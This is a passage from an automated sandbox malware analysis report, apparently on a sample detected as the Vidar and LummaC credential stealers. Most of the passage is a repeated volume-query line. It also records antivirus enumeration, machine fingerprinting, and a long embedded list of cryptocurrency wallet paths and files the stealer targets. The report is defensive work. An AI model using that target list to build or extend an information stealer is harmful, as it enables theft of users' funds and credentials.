Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe VolumeInformation
Source: C:\ProgramData\EBGDHJECFC.exe	Queries volume information: C:\ProgramData\EBGDHJECFC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041C0B3 lstrcpyA,GetLocalTime,SystemTimeToFileTime,

3_2_0041C0B3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.3a95570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3a95570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000003.00000002.2999510077.0000000000FC1000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: electrum.*
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 